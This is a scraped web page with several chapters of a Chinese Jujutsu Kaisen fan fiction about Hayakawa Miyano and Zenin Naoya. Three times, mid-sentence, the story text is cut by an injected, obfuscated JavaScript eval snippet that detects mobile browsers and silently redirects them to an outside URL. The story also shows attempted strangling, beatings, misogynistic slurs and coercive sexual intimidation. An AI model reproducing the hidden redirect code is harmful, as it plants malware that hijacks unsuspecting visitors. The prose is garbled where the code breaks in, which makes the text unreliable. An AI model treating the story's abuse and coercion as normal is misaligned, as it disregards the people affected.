早川宫野没有急着回去,毕竟天色还早,午餐她也不是很饿。 天色已经有了快下雨的迹象,她加快了脚上的动作。 这是一片位于后山的土地,有些荒凉,靠近禅院家的祖坟。种了很多白色的樱树,但现在还没到开花的季节。 光秃秃的树干有些难看,偏偏今天的天气又非常糟糕,后山雾大,难以看清。 就在早川左顾右盼了好一会,以为今天他不会再出现时,头顶上方的树丫上传来男人懒散的声音。 “抬头啊。” 早川诶了一声,向后退了几步。 黑色的发丝,穿着与发色一个颜色的纯黑紋付,下身灰色裤袴。他半撑着的头侧躺在一棵粗壮的树干中,唇边带着疤痕的嘴角微微上扬。 “哈喽,甚尔。” 早川露出微笑:“我还以为你已经走了呢,绕了好几圈都没看见。” “突然用上洋文了啊宫野,看样子私塾上的不错啊。” 禅院甚尔,早川宫野刚到禅院时认识的朋友,或者说是前辈。早川拥有咒力却无法觉醒咒术,甚尔无咒力也无咒术。两人在某一个晚上因为早川误打误撞认识。 甚尔跳下树干,他已经很高了,感觉高于她一个半或者半个头都是有可能的。哪怕是穿着裹的严严实实的和服,身上蓬勃的肌肉依然若隐若现。 早川宫野轻咳一声,移开眼。却被甚尔抓住端倪,轻笑一声:“怎么,大画家又有灵感了吗?” 真是的……她都说了第一次见面时不是故意的,鬼知道禅院家的酒那么难喝。 难喝就算了,闻上去是果酒的味道偏偏度数高的离谱。再加上那个时候她初来乍到,对禅院布局根本不熟。 “这就是你抓着我吐了一袖子的理由?我可是那天洗了很久的衣服啊。” “甚尔君,衣服是我洗的,地也是我拖的。就连洗澡都是我让你去的我房间。” 她那天整个人晕晕乎乎的,甚尔本来就高,又穿着深色衣服……她一直以为是树干来着的。 “哦……原来你都记得啊。”甚而勾了勾唇,连带着那道伤疤一同上扬了扬,依然是懒散的语气。 “所以是出于什么意图躲在门后偷看我洗澡?我可是有看见你的画呢。” “……嘛,说了是误会啦。” 早川摊了摊手,矢口否认。她蹲下身来靠着树干坐下,像是这么多年好友间的某种默契一样,甚尔喜欢在树干上休息,早川则喜欢在树下画画。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536949|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你今天好像很高兴的样子,是准备走了吗?” 她扬起头看向甚尔,以往的甚尔君是不会同她说那么多话的,有时候甚至还会对她发出烦躁的砸舌声,让她快点走。 她前段时间听说他刚在决斗中获得了胜利,即将离开禅院。 “啊……是啊。” 听见“离开”两个字,他才咧一点缝隙笑起来。微弱的阳光刚好突破云层,天色亮了一点点。 “说到要离开这个连天气都变好了嚒?”他哈的笑了一声,看向坐在地上的早川:“是最后一次见面了啊小鬼,今天给我带糕点了吗?” 甚尔指的是她院子里的樱饼,那天晚上她出去也是带樱饼去见的甚尔,回来就看见直哉在她的房间。 “没有。”早川宫野摇头:“有事被绊住了,还没来得及回去。甚尔君以后准备去哪里?” “直哉嚒?” “嗯。” 甚尔突然抬起手,像在挤压什么洗手液一样按了按她的头,发丝被揉的乱乱的。 “直哉啊……宫野,我走后你在禅院可别被玩死了啊。” 早川宫野无奈的看了他一眼,向侧面倒了倒,躲开他宽大的手掌。 “明明甚尔君在禅院的时候也没怎么帮我吧。上次还对直哉说,随便你们了这种话。” “嗯……?有这种事吗?啊…不记得了。” 他企图思考是否自己真的有说过这句话,但也仅仅是停留在“企图思考”的程度上,下一秒已经转移了话题:“去东京或者横滨吧,该搞钱了。” 东京或者横滨吗……? 早川思索片刻:“甚尔君准备做什么?打手吗?还是咒术师?应该是咒术师吧。” 虽然甚尔君没有咒力,不过一些简单基础的三级以下咒灵应该可以勉强解决维持一下生计吧。 “哈?你是笨蛋吗?居然只能想到这么无聊的两个职业。” 甚尔淡淡瞟了她一眼:“应该是风俗店吧。” “风、风俗店?” 早川宫野的表情凝固了一瞬,随后认真的抬起头:“老友光顾可以打折吗?” “哈……宫野,你还真是。” 甚尔低笑一声:“拉倒吧,我对你这种小屁孩不感兴趣。而且也只是随便说说而已。” 禅院甚尔似乎心情真的非常好,他盘着腿同早川坐在一起,占据了好大一片空间。 早川宫野撑了撑手掌,正准备朝旁边移动一下,甚尔突然抬手。 他伸了个懒腰,收手时顺势搂过她的肩膀。早川的头撞到了甚尔饱满的胸肌。 “快点逃出去吧,宫野。” 她听见甚尔胸腔内震动磁性的声音。 “外面的世界不会比禅院更糟了。” 禅院甚尔说完,没等早川有下一步动作,他已经率先站起身,背对着早川,挥了挥手:“走了。” 灰色被风吹起的裤裙,一股一股向后发出布料相互拍打的声音。 早川宫野笑了笑,拍拍裙摆也站起身。 说什么呢。 她可是好不容易从外面逃回禅院的啊…… 5. 第五章 早川宫野回去的时候,直哉已经在屋子里等她了。 他看上去有些不耐烦,站在她的书柜前翻动着什么,地面上散落了一地的书。屋里没有开灯,只有一点点残余的光线照在他的羽织上。 初春的下午就是这样的,阳光似落非落。 注意到她来,禅院直哉才转过头,转过一点点身,嘴角扯出一个讥讽的笑:“呵……大忙人终于回来了,你干什么去了?” 甚至都没有给她回答的机会,像是刚才自言自语一样。禅院直哉目光一沉,从怀里拿出一个破碎的本子,丢在桌上。 “啧……赶紧的吧,别浪费我时间。” 本子撞击在桌子上发出清脆的磕碰声,连带着空中的风划破纸张发出哗啦啦的声音。 正面摊开的那一页,是直哉的脸。 早川宫野看了一眼,笑着上前几步弯下腰,她翻开:“居然真的粘起来了吗,唔……但是非常皱皱巴巴呢,顺序也不是之前的顺序…直哉君的脸也像是被擦过的痕迹,都看不清五官了。” 禅院直哉几皱眉,琥珀色的瞳孔死死的盯着她。 “啊,不要这么紧张嘛直哉君。” 早川宫野露出安抚性的微笑,向后翻了一页:“我只是随便说说,不会毁约的。虽然粘的有点丑,不过看得出来还是很细心呢,周围是裁剪过吗,刚好可以贴合封面的大小。” 呵…… 禅院直哉露出几丝不屑的笑意,像是在看什么垃圾一样挑了挑眉,似乎对于刚才的夸赞很受用。 开玩笑,他可是弄了整整一下午的杰作。 光是把纸团的褶皱抚平就浪费了他不少时间,粘贴的时候第一次不太懂,手掌的侧面擦到了画稿,一抬手纸上黑乎乎的一团不说,还弄的他手侧下全是铅笔印。 好不容易粘完了,第一次合上本子发现凸出来一大截,裁剪后第二次发现其中有一页粘反了,等做完这一切已经快落山了。 偏偏早川这个死人也不告诉他是什么时候吃晚餐,害得他自己中午和晚上都没吃,急急的从自家院子赶去早川家。 本意是看见早川的那一刻把本子摔到她脸上,结果推开门被下人告知早川还没回来。 想到这里,直哉又有些不高兴起来了,他正要开口讥讽,早川已经合上本子,抬起头看着他露出微笑。 “做的很好呢,不愧是直哉大人。” 讥讽的话停在喉结,直哉上下扫视了一下早川。 穿着白色和服跪坐在地上,看着他露出崇拜且夸赞的神情,双手平放在膝盖上,褐色的瞳孔像绵羊一样柔和的看着他。 是啊……他到底在担心些什么。 直哉收起讥讽的表情,取而代之的是比讥讽更不屑、更鄙夷的眼神。 一个卑贱的私生女而已,纵然她有把柄,能掀起多大的风浪? 说到底———她也不过是女人而已啊。 找个机会解决掉就好了。 禅院直哉甚至懒得开口,朝早川宫野摊出手。 “嗯?其他的画稿吗?” 早川宫野探头向房间看了看,临走前拉开角度,此时依然维持着现状。 “这一次直哉君没有私自进去吗?明明就放在书桌左上角最显眼的位置哦……” “啧。” 直哉不耐,啧出声。 早川宫野叹口气,站起身。她先是看了看钟上的时间,随后又看了看直哉。 “干什么。” 直哉皱眉,以同样的目光扫视了一遍早川。 “直哉君还没吃晚饭吧,要不要和我一起用?” 她话音刚落,都还没给直哉选择的机会,已经拍了拍手,对侍女说道:“我饿了,今天直哉君也在这里,让他们上菜吧。” “喂……” 禅院直哉的眉心已经能夹死一只苍蝇了。 从上午开始,就已经奇怪起来了。让他捡画稿,粘本子,还让他等了那么久,选择还要和她一起吃饭? 她到底——想要干什么啊!? 注意到他已经接近为零的耐心值,早川重新坐下身,给他倒了一杯茶,还做出了“请”的动作:“没有恶意的啦……只不过如果直哉在的话,他们上菜会做的更好吃一点。” 什么狗屁不通的理由…… 嘛,不过… 禅院直哉放缓了些表情,看着早川的发旋。 这个蠢女人有一句话倒是说的不错,毕竟他可是禅院未来的家主啊——— 是每个人都想要讨好,得到他青睐的禅院唯一继承子啊。 “原来你也知道啊。” 直哉挑眉轻蔑撇了她一眼:“早川,你这个蠢女人还不算太蠢,现在讨好我还不算太晚。” “我现在就是在讨好你哦。” 早川宫野眯了眯褐色的瞳孔,笑着伸手再度做了一个“请”的动作:“请直哉大人赏脸,陪我吃一次饭吧。” 禅院直哉很少遇到早川这种会把“讨好”用在明面上说的人。 每一个和直哉说话的人几乎都是带着讨好的意味,他们大多都是低眉顺眼,连连说着“是是”一样的话。 至于像早川这种把“想要讨好他”“我就是在讨好你”的这种直球行为…… 哈…… 直哉从鼻腔间发出一声闷笑,坐下身。 ——居然还不赖。 不知道是不是因为直哉在的缘故,上菜真的比之前快了很多,种类也更多了。 禅院直哉本意是不准备吃的,一是他担心早川会在里面下毒,二是一看就难吃的要死。 但实在胜不住他一天没吃东西,胃已经有些发痛了。 而且…… 禅院直哉看了一眼吃的一脸满足的早川。 如果等会和早川打起来,因为饥饿而下手失误的话就麻烦了。 打死了倒还好,如果没打死还剩半条命跑掉的话……嘁。 天色渐晚,等他们吃完的时候,天已经完全黑了。 “可以了吧。” 直哉的声音并没有多少起伏:“赶紧结束吧早川,我已经浪费一整天的时间在你这里了。” “直哉君真是心急呢……” 早川耸了耸肩,吃饱后她有些困意,手掌向后撑在地上,声音都有些懒懒的:“不过直哉君已经可以不用担心了哦,那几本已经被我销毁了,不会再有直哉的小图流出来了。” “什…什么?” 早川说的语速太快了,禅院直哉一时间有些没反应过来。 “你什么时候销毁的,残留的证据在哪里?你该不会……压根就没有所谓的好几本吧?” 直哉说最后一句话的时候几乎咬牙切齿,琥珀色的瞳孔危险的眯起,连语速都慢了。 早川宫野停顿片刻,像是完全听不出来他的警告一样,依然是一副懒散随意的耸耸肩。 “哎……直哉君就当是我没有就好啦。” 砰——— 早川话音刚落,禅院直哉一脚踢翻了桌子。雪碗冰瓯碎了一地,矮桌也被飞出去好几米远。 禅院直哉真的气的要死了。手里的蓝色火焰咒力翻腾。 他真的……现在就要杀了这个贱女人!! “欸…这么生气吗。” 早川终于站起身,她抿了抿唇:“杀了我也无所谓哦,只不过直哉君会背上残害手足的名声吧,如果家主大人不高兴了,会重新考虑是否真的要将禅院交给一个无法控制情绪的继承子呢。” 早川叹息一声,走进房间又出来:“倒也不是完全没有的啦……虽然的确大部分是以直哉君为参照物,但都没有画表情和脸,喏……拿去吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536950|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别生气了。” 禅院直哉啪的一声恶狠狠拽过早川手里的两本草稿,依然是各种各样的、不同场景被欺负和体位的都有,虽然没有画脸,但作为一个非常熟悉自己身体的当事人———禅院直哉还是一眼能的出来主角是谁。 早川宫野这些年……到底天天都坐在他身后画些什么啊!! “早川,你真恶心。” “欸……” 早川不明所以发出一句感叹,依然没有多大起伏的摊摊手。 院里的侍女按照禅院直哉的要求放置了一个炭桶。 桶里火苗在夜空中飞舞,暗橘色扭动着身躯越蹿越高。被高温瞟到的绣球花迅速干枯凋零,蓝色的花瓣掉落了一地。 禅院直哉要当着早川宫野的面把她的画稿全部烧掉。 院里的侍女纷纷跪地恳求,直哉看都没看一眼,只是兴致不错的拿起第一本。 他勾起几丝笑意,上挑的眼角戏谑的看着站在他对面的早川。像在品味一样简单的翻阅后,他双手拿起画稿两端,手心轻轻用力。 撕拉——— 画稿从中间一分两半,他伸出手,丢入炭火中。洁白的画稿瞬间燃起黑边,燃烧起来。 站在自己一旁的早川宫野不知道在想什么,只是看着焰火面无表情。 禅院直哉几乎要笑出声。 这就是敢和他作对的下场啊……这一次还只是早川珍视的东西,下一次就是把早川扔进火坑里,看着她自焚了。 她似乎有些难过的站不住了,让下人搬了一把椅子过来,坐在椅子上眼神凄凉的看着画稿。 一直到三本全部消失在他的视线里,火苗的趋势有些减弱了,直哉才用余光发觉早川抬起头正看着自己。 甚至好像……从刚才他撕书开始,就一直在看着他。 “你一直看着我干什么。” 直哉先是皱起眉,说完这句话后他又像是想通了一样,恍然大悟了一声:“哈……在想求饶的话吗?恳求我给你留一两张?” “啊……是呢。” 早川宫野换了一个姿势,手指抵着太阳穴。褐色的瞳孔带着笑意,好像刚才的凄凉只是他的错觉:“不过比起画稿,我只是突然发觉……在焰火的余光下,直哉君的侧面很漂亮呢。” 禅院直哉皱起眉。 “撕画稿的时候会非常兴奋,琥珀色的瞳孔照的很亮很亮,就连嘴角都上扬了些弧度。因为侧光的缘故……高挺的鼻梁,棱角分明的下巴,以及稍显红润的唇珠。” 早川宫野伸出手,以手作笔,隔空对着他的脸虚虚的画了一个“十”字,随后视线逐渐向下,模仿着铅笔的动作一点点向下画动。 “领口也是,每一次直哉君都非常认真的系到最上面一颗呢…虽然羽织很大,但里面的白色衬衣很薄,在强光下可以透过布料看见直哉君的胸膛……” 早川宫野停了一下,随后看着他露出更大的笑容:“很大呢,直哉……唔…” 禅院直哉几乎是想都没想直接就扑上去了。 他的大脑一片混乱,不知道是早川描述的太详细的缘故,还是当着这么多下人依然若无其事的说这句话…… 因为有些慌乱的上前,羽织的袖口还没来得及拢上去,就已经直直的捂住早川宫野的嘴。 在橙色焰火的照射下,面向炭火的那一只耳朵露出与火光相同的颜色。 禅院直哉咬牙切齿,恶狠狠道:“喂早川……你到底…在说些什么啊!!” 被捂住嘴巴的早川眨巴眨巴眼睛,拉下禅院直哉的手:“夸赞啊,这不是显而易见的吗?直哉君应该也知道我很仰慕你这件事吧,不然也不会画了那么多直哉的身体。” “闭嘴!!” 禅院直哉脸色通红。 她到底……知不知道自己在说些什么啊! 6. 第六章 从早川院里出来后,禅院直哉一直到很晚才睡。 他一连说了好几个闭嘴,早川宫野才勾起几丝笑意,佯装认真的点点头。 直哉有些忘记自己是怎么从早川院里出来的了,只记得自己走的很匆忙,离开时还甩了袖子。 靠近炭火的那一边脸很烫,连带着耳垂都烧起来,尤其是早川抵着太阳穴翘着腿似笑非笑的看着他,一副“可以哦,直哉君高兴就好”的宠溺表情。 她似乎真的看了他很久,一直到结束的时候,还语意未尽的说了一些不明所以的话企图激怒他。 “啧……” 躺在床上的直哉啧了一声。明明他已经很早就上床准备歇息了,可大脑却依然活跃,像回放电影一样,把早川在炭火前对他说的场景不断的重复。 “直哉君的侧脸很漂亮……唇瓣被光照的也很红润……领口下的胸膛也很大……” 早川说这句话的时候褐色的瞳孔很亮。 像是发现了什么宝藏一样的东西,又像是什么野狼在黑暗中发现的猎物,因为已经吃饱了,所以只是亮着瞳孔,玩味的不断靠近他。 禅院直哉承认从早川说他的嘴巴那一刻开始,他就已经想上前掐死她的想法了。 简直是……不知廉耻的贱女人!! 黑暗中,原本躺的好好的直哉突然烦躁的捶打了一下床面,寂静的环境中发出一声闷声。 禅院直哉睁开眼,看着天花板,直直的坐起身。 “烦死了……” 烦死了。 真的快烦死了。 尤其早川还一脸认真,像是在阐述什么再正常不过的事情说仰慕他。 蠢上天的贱女人,该不会以为这样就企图能吸引到他的注意力吧。 仰慕他的身体…还是很早以前开始就仰慕他了…… 院子里还有那么多下人,她就这么直愣愣的说出来了? 等等…… 直哉头疼的撑住额头,黑色的碎发挡住眼帘。初春的夜晚还是有些燥热了,他又感觉左耳垂如同被炭烧一般发烫。 他似乎想到了什么,抬头时捂住了嘴。 早川宫野……不会是在向他告白吧!? 次日,天还没亮,直哉院里的侍女刚从房间走出来,就看见禅院直哉黑着脸靠在柱子上。 禅院直哉是真的昨天晚上很晚才睡了。 每一次下定决心要睡着时,脑子里就会浮现早川各种东西。 是画着他露骨的画,是把他抵在墙角警告的语句,是握住他的手腕对他说“一直都很仰慕直哉君”带着笑意的瞳孔。 以及突然告白一样的话语。 到最后直哉自己都不清楚自己昨天晚上到底有没有睡着。 以至于他很早的就起来,心情糟糕的去了私塾。 禅院直哉去的时候早川宫野已经到了,她今天没有披散着头发,而是将发丝挽在左后脑的位置。有几撮杂毛突出来,像黑色的小羽毛一样。 嘁……昨天才刚告白完,今天就打扮的花枝招展来吸引他的注意吗? 禅院直哉挑了挑眉,露出一如既往的表情,走进教室抬了抬下巴。 一些附和他的旁系看见他立刻殷切的打起招呼,左一个直哉大人好,右一个直哉大人今天来的好早的追捧他。 禅院直哉没吭声,他甚至连一个眼神都懒得给。 这些每天来来回回就那么几个字的人简直比早川还无趣,早川虽然是个没用还贱的蠢女人,但偶尔还懂得讨一下他的欢心。剩下这些废物,简直像复读机。 哦,当然,他没有说早川不无趣的意思。 直哉走到自己的座位上,明明刚才进门前和他打招呼的声音都那么大了,早川宫野却像没看见一样,依然背对着他,和后面一个旁系交谈着什么。 私塾下课后是训练课,早川宫野里面穿着的还是上次那件运动上衣,只不过这一次外面披了外套。但因为把头发挽上去的缘故,外套又很薄,依然可以透过外套看见裸露在下面的皮肤。 禅院直哉垂眸看了两秒,突然嗤笑一声。 “真骚。” 他的声音不大不小,却让周围迅速安静下来,纷纷看向背对着直哉的早川。谁也不知道早川又因为什么惹烦了直哉大人,但无论怎么样,一定都是早川的错。 就连和早川还交谈不错的旁系,都停下嘴,面露尴尬的看着她。 早川宫野回过头,像是才注意到他一样,若无其事的露出几分友善的微笑:“早上好,直哉君。” “……” 搞什么啊,早川这个贱女人。 禅院直哉突然有些烦躁。 又像上次一样,明明看见了他却还要装出一副才看见他一样吗? 是蠢吗?他都把话说成这样了,还若无其事看着他笑。 啧……无聊。 真贱。 今天早川好像没有带笔记本,可能他全烧掉了,就算是空白的也没有了。以往直哉还能听见后背传出笔尖触碰纸张的沙沙声,今天却安静的出奇,连笔放下磕在桌面的声音都没有。 …这蠢货,上课不画画还能干嘛。 直哉撑着下巴,思绪已经飘到了很远。他佯装脖子有些酸痛的左右扭动了一下,用余光快速瞄了一眼后面的早川。 早川宫野低着头,表面像是在看书,双手却放在桌子下。 禅院直哉轻皱起眉。 手放在桌子下是干什么,无聊的自己一个人玩手吗? 早川宫野是没有手机等一系列电子设备的,理由也很简单,直哉不想让她有。全禅院只有他的电子设备是最多的,最新款的手机平板游戏机switch。 早川真希真依这种女人,给了她们也不会玩。 女人就应该好好的服侍人,在家好好的生孩子啊… 私塾老师继续面无表情麻木念着教案上的内容,昏昏欲睡的课堂上,没人注意到直哉稍稍向后移了移蒲团,脊背靠在早川的桌子上。 他抬起头,假装听课看黑板,却头向后仰去,侧耳倾听身后人的动作。 纸张翻页的声音。 但早川桌上连笔盒都没有拉开,也没有笔尖划过的声音。 她在干什么? 难道有人给早川写情书了吗? 纸张的翻动,还不敢拿到桌子上来看…… 禅院直哉已经勾起了讥讽的笑意。他第一秒几乎要笑出声,第二秒暗自悱恻是哪个废物会脑瘫到喜欢早川,第三秒他收起脸,琥珀色的瞳孔已然有些不耐烦。 禅院直哉笑不出来了。 昨天才和他告白,说仰慕他,很久很久之前就仰慕他。今天就收到了别人的情书? 她到底和多少人说过仰慕的话啊? “水性扬花的贱女人……” 他咬了咬唇,暗暗说道。指尖掐入橡皮。 好不容易到下课,私塾老师前脚刚走,禅院直哉丢下被戳的千疮百孔的橡皮,站起身看向早川。 他站起来的太突然了,能清晰的捕捉到早川宫野因为慢半拍而收进课桌里的半张纸。 禅院直哉眯了眯眼:“你上课在看什么啊?吵死了,翻来翻去的。” 情书有必要反复翻那么久吗?每一次他都只是草草看一眼就丢掉了好吧。 “我?只是在看书而已。” “看书?” 直哉哈了一声,撇开脸。 当他是笨蛋吗?看书需要这么偷偷摸摸的吗? 毫无征兆的,直哉突然撑着桌子俯下身,手直直的伸进早川的桌膛。速度快到早川都没反应过来,只是身子向后倾斜,以免撞到直哉的头。 哈,摸到了! 禅院直哉兴喜了一瞬,抓住对方的把柄这种事总是让他无比欢愉。他已经想好了,要找出写信者,让他当着全部人的面大声朗读一遍,再借机讥讽嘲笑一番他的眼光。 他用力拽出,拿起手。 “诶……只是普通的漫画吗?我还以为早川同学在看□□呢。” “我也以为,直哉大人突然这么激动,还以为是什么刺激的东西。我看看……哇,还是哆啦A梦诶,意外的可爱啊早川君。” 怎么回事…… 禅院直哉皱起眉。 早川居然只是在看这种古早漫吗? “嘁……” 禅院直哉丢回早川怀里。 “原来是这种东西啊,吵死了,害的我上……” 禅院直哉突然顿住。 因为他看见面前的早川已经露出了不明所以的微笑,准确来说,是他熟悉的堪称“宠溺”的微笑。 “突然这么大反应,吓我一跳呢。” 她接上禅院直哉的话,嘴角的笑意越来越深:“这么在意我吗?是在担心我收到什么东西,还是———担心我在课桌下画什么?” 禅院直哉感觉自己的血压都高了。 尤其在早川停顿后,说担心她会不会在桌下画什么的时候。 这引得了周围很多人的好奇。 “早川君会绘画吗?欸,好厉害。” “嗯…会一点的哦。” “是画的什么呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536951|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?也是漫画吗?热血漫吗!还是后宫漫?总感觉女孩子画后宫漫会更好看呢……” “唔,差不多吧,不过我给直哉君有看过的哦。” 四五道目光一齐像禅院直哉袭来。 禅院直哉深吸一口气,危险的勾起一边嘴角,强硬的拽起早川朝教室外走去。 画后宫漫……还是给他看过的…… 贱人……! 禅院直哉走的很快,两边的风撕刮着他的脸。直达一间废弃的教室里,禅院直哉把她摔在门上。无论是以为是情书而公然的失态,还是早川旁敲侧击的提起画他小图的时候,他像是气到已经漠然了,胳膊抵在她的两侧,手心握拳。 他的身躯如此之大,早川在他眼里不过蝼蚁,随时随地就可以掐死她。 “早川,你这个背信弃义的贱东西。” 他居高临下轻笑一声,手心已经抚上她纤细的脖颈。 “我已经没有耐心陪你玩了,随便谁猜疑也好。早川,你还是去死吧。” 禅院直哉甚至都不屑用咒力或者匕首。 女人而已,还配不上他花心思。随便掐死或者弄死就好了,纵然家主对他不满,但那时早川已死,他作为唯一有资格的继承人,也只得教育几句放过他。 不断收紧的手,一瞬间的快感让直哉琥珀色的瞳孔几乎发亮。 就是这样…… 就是这样…女人纤细的脖颈,像白织玉一样白皙细腻,在他手心下挣扎,窒息,动弹不得。 直哉还没来得及咧开嘴笑,掐住对方的手突然被反握,眼前的身影突然下蹲,腹部一阵剧痛。 失去重心的直哉向前栽去,索性反应的即时,手撑住了门。直哉正要暴怒,腰部像被千斤的石头压住一般,控在门上动弹不得。 早川宫野面无表情,胳膊抵在他的脊背上。 “手足相残是不好的事情呢,直哉君。” 禅院直哉狼狈的趴在门上,琥珀色的瞳孔却像一头愤怒的小蛇,下一秒就会咬上她的眼睛,把她的眼珠狠狠的扯出来。 早川无奈叹息:“明明最开始就说了,惹烦我了会很麻烦的,我都已经给直哉君放宽很多底线了,可还是得寸进尺啊……” 禅院直哉不知道眼前的贱女人在说什么,他只想等对方分心时,拔出怀里的匕首插入她的脖颈。 直到什么东西掀开了他的羽织,准备从下拉开他的内衬,禅院直哉的大脑嗡的一声响了。 “早川,你这个贱婊子!我警告你——!!” “嗯哼~不可以对女孩子说这种词哦,直哉君这样会让我更加生气的。” 对方纤细的手指已经伸到了他的衣服下,大量的风鱼贯而入。像是在好奇的探索什么一样,早川轻轻用指甲刮蹭了一下他腹部的肌肉。 “嘶!” 禅院直哉惊的汗毛竖起,他咬着唇,额上已经有了密密的汗珠。 “很结实呢,直哉君……” 早川轻笑道:“我可以掀开衣服全部看看吗?” 什么? 禅院直哉的大脑已经完全一脸空白了。 他已经说不出来什么贱人、婊子、不知廉耻之类的话了。 他的满脑子只有早川把他压在墙上时说的话。 ———直哉君,惹烦我的话,会悄悄爬上你的床,对你做一些不好的事情哦? ———你也不希望那样的事情发生吧? 不会吧… 不会吧不会吧不会吧不会吧不会吧不会吧?? 是骗人的吧,只是吓唬他的而已吧?男人怎么可能被女人给——!! 早川没看见直哉脸色丰富的表情,她只关心直哉腹部的肌肉。 她并未等待直哉的答复,而是已经自顾自的抽出手,抓住了他内衬的下摆。 “不…不不…早川!哈……我们不是合作伙伴吗?我承认刚才我有些偏激了,只是想切磋一□□术而已……” 在男人的尊严面前,什么都可以先放一放。 “嗯?是这样吗?直哉君,你在发抖欸。” 早川笑道,放缓了语气:“因为直哉君的脸非常好看,所以就算平时直哉说了什么过分的话,我都不会生气哦。不过刚刚那个词实在太肮脏了,我到现在都还有些释怀不了呢。” “作为失约的处罚,那就限今天一整天,直哉君自己解开领口的最上面一颗扣子就好了。” 早川宫野眯了眯瞳孔,温和的笑意下歪了歪头。 “因为很喜欢直哉的脸,所以想再往下多看一看,应该也是情理之中的事吧?” 7. 第七章 禅院家的训练场距离私塾还有些距离。 与寻常御三家的训练场一样,除了基础设施跑道、棒球馆、体术室和剑术馆外,还有专门的咒灵场。 但禅院管控森严,男性可以随意进出,女性则需要特定、通过上报得到允许后才可以进入。 禅院直哉作为【炳】的预备首席队长,无论是体术还是咒力,在训练场上大放异彩简直是轻而易举的。 只不过……今天的直哉大人心情似乎有些糟糕。 “只是这种能力了吗?哈……杂碎。喂———下一个谁来。” 众人抱着木剑,谁都不敢说话,只得看着被禅院直哉打到跪在地上捂住腹部不断抽搐的旁系子弟,甚至有一个正伸着脖子干呕着。 禅院直哉的动作很快,可能因为咒术的缘故,继承了禅院直毘人的投射咒法,几乎没有躲避的动作,而是发泄一样一味的进攻。 只不过……总感觉每一次直哉大人跑动的时候,胸口好像有什么像布料一样的东西在飞舞着。 但因为直哉的动作太快了,他们还没来得及看清直哉领口的是什么东西,自己已经痛苦的趴在地上了。 只有直哉的其中一位好友注意到了异样。 “直哉君。”好友靠近了他,像是经过了很久的思想斗争一样,看着他的上衣缓缓开口。 “你上衣的扣子……额啊!!” 好友话未说完,腹部已经受了一拳。 禅院直哉面无表情收回手,虽然垂下了袖口,但手心依然握着拳,像是时刻准备补刀怕他没死透。 “哦,是你啊藤原。你刚才说什嚒?” 藤原冷汗直冒,弯着腰捂着小腹抬起头。禅院直哉黑色的身影像一座大山矗立在他面前,琥珀色的瞳孔傲然睥睨。明明是与寻常无异的表情,可是越往下,越有些不对劲。 领口。 禅院直哉最上面领口的扣子——被解开了。 但凡能称得上某咒术师家族的子弟,虽然在礼节方面,没有像女人一样那么多限制和规矩,但作为御三家之一的、还是继承子的家族长子,在公开场合公然解开扣子,不管是处于什么原因,都是极其失礼的。 男人的确没有贞洁这一说法,但是直哉这个行为…… 藤原的视线移动向下,移动到禅院直哉喉结的位置。往日的直哉不论什么时候,内衬的领口一定是系到最上面一颗的。而今天却解开了扣子,虽然只是解开了一颗,但少年白皙的脖颈下,核桃一样凸出的喉结……额啊!! 藤原又受了一拳,这一次他连胃酸都吐出来了,后背被冷汗侵湿。 “等等!直哉大人,我明明什么都没说啊!”藤原跪在地上,朝直哉伸出手。 “藤原,你的眼神,太恶心了。” 禅院直哉抬脚,狠狠踩在他的手上。 完全像听不见脚下人的哀嚎一样,禅院直哉冷着脸,拢着袖口,眼皮放空的看着某一处,脚下不停,依然踩在沙地上碾压着。 早川宫野。 禅院直哉放空的视线,在看训练场外的早川宫野。 她和一个年龄相仿的女孩交谈着什么,直哉猜测是某一个炳成员的妾室。似乎聊到有趣的地方了,早川宫野捂着嘴笑起来,眼睛都笑的弯弯的。 啧… 装神弄鬼的臭婊子……! 要不自己中了早川的什么下三滥的咒术,浑身无法动弹,否则当时早就掐死她了! 他只好假意委曲求合,早川才放开了他。 “因为很喜欢直哉的脸,所以想再多往下看一看,也是情理之中的事情吧?” “那么……是我来,还是直哉君自己来?” 依然是轻飘飘的语气,甚至在说到后半段时,还看着他亮了亮眼眸。 又是这种……绵羊一样温顺的表情,嘴里说着最恐怖的话语。 禅院直哉忘记自己是怎么走出教室的了。 只记得早川上下扫视的眼神,挑逗般满意的眼神,像是在观赏什么一样,嘴角勾起的不明所以的微笑。 贱人…… 早川宫野,这个贱人! 他一定会让她付出代价的! 训练场上,禅院直哉踩在藤原手上的脚越来越用力,像是把脚下的人已经想象着换了一个人一样。 想象着她在自己脚下哀嚎、身躯在自己脚下颤抖、绵羊一样跪在他面前。 直到自己的小腿已经开始发酸了,直哉才收回脚。 “谢、谢谢直哉大人不杀之恩!” 